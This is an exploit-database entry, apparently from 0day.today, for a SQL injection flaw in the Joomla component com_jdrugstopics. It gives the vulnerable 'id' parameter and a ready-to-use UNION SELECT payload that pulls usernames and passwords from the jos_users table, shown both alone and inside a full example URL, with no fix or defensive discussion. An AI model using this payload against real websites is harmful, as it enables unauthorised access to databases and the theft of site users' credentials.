Joomla Component com_jdrugstopics SQL Injection Vulnerability

2010-04-12T00:00:00
ID 1337DAY-ID-11756
Type zdt
Reporter SadHaCkEr
Modified 2010-04-12T00:00:00

Description

Exploit for php platform in category web applications

                                        
                                            =============================================================
Joomla Component com_jdrugstopics SQL Injection Vulnerability 
=============================================================

# Title: Joomla Component com_jdrugstopics SQL Injection Vulnerability
# Author: SadHaCkEr
# Data  : 2010-04-12
  
[~]######################################### InformatioN #############################################[~]
 
#AUTHOR:            SadHaCkEr                                               
#Email:             [email protected][choose ANY ONE]   IF U lucky  U will Find Me                            
#Website:           http://www.sadx.297m.com/                               
#Forum :            http://v4-team.net/cc                                   
     
[~]#########################################   ExploiT   #############################################[~]
   
[~] Vulnerable  :
   
http://127.0.0.1/index.php?option=com_jdrugstopics&view=drugsdetails&id=[SQL]
   
[~] ExploiT         :
   
-226 UNION SELECT 1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13 from jos_users--
   
[~] Example         :
   
http://127.0.0.1/index.php?option=com_jdrugstopics&view=drugsdetails&id=
-226 UNION SELECT 1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13 from jos_users--



#  0day.today [2018-04-09]  #